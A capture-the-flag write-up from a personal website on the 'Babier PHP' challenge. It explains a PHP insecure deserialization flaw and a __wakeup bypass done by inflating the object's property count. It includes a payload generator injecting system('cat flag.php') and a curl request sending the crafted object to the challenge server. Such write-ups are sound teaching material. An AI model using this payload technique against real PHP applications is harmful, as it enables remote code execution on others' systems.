siunam's Website

My personal website

Home Writeups Research Blog Projects About

Babier PHP

Table of Contents

Overview

Background

Just some simpler PHP deserialization.

Enumeration

Same as the last part, Baby PHP. Highly recommend you to read the last part's writeup if you haven't done so.

This time, other classes except A are different. Let's take a look at the modified class B:

class B
{
    public $command;
    public $guess;
    public $random_number;
    public function __wakeup()
    {
        $this->command = "echo 'flag';";
    }

    public function __call($method, $args)
    {
        // You will get it eventually after the competition. 
        for ($i = 0; $i < 10000; $i++) {
            $this->guess = random_int(0, getrandmax());
            if ($this->guess !== $this->random_number) {
                // echo "Incorrect guess: " . $this->guess . "<br>"; // Also no more leaked random number
                return;
            }
        }
        eval($this->command);
    }
}

In magic method __call, although the for loop check is a little bit different, the bypass method is exactly the same.

However, magic method __wakeup is causing us some troubles. According to its documentation, it said:

Conversely, unserialize() checks for the presence of a function with the magic name __wakeup(). If present, this function can reconstruct any resources that the object may have.

So, when unserialize is called, it'll also execute magic method __wakeup and reconstruct the object instance. In our case, our command property will get overwritten by the __wakeup magic method.

If we Google "PHP __wakeup bypass", we should see this blog post:

Turns out, if the serilized object string's property number is greater than the correct one, magic method __wakeup will not be invoked.

Note: Feel free to read this PoC for more information.

Exploitation

To bypass magic method __wakeup, we need to first get our normal serialized payload:

payload.php
<?php
include_once "index.php";

$a = new A();
$a->class = new B();
$a->class->command = "system('cat flag.php');";
$a->class->guess = 1;
$a->class->random_number = &$a->class->guess;

$serialized = serialize($a);
echo $serialized;
┌[siunam♥Mercury]-(~/ctf/HKUST-Firebird-CTF-Competition-2025/Web/Babier-PHP)-[2025.01.13|17:53:15(HKT)]
└> php payload.php 
O:1:"A":1:{s:5:"class";O:1:"B":3:{s:7:"command";s:23:"system('cat flag.php');";s:5:"guess";i:1;s:13:"random_number";R:4;}}
[...]

Then, we modify "A":1's 1 to be greater than 1:

O:1:"A":1337:{s:5:"class";O:1:"B":3:{s:7:"command";s:23:"system('cat flag.php');";s:5:"guess";i:1;s:13:"random_number";R:4;}}
┌[siunam♥Mercury]-(~/ctf/HKUST-Firebird-CTF-Competition-2025/Web/Babier-PHP)-[2025.01.13|17:54:46(HKT)]
└> curl --get http://phoenix-chal.firebird.sh:36011/ --data-urlencode "payload=O:1:\"A\":2:{s:5:\"class\";O:1:\"B\":3:{s:7:\"command\";s:23:\"system('cat flag.php');\";s:5:\"guess\";i:1;s:13:\"random_number\";R:4;}}"
<?php
$flag = "firebird{This_is_an_intended_behavior..._Consider_reading_the_official_guideline}";
echo "flag{You_win_This_is_the_flag}";
?>

Conclusion

What we've learned:

  1. PHP insecure deserialization & __wakeup magic method bypass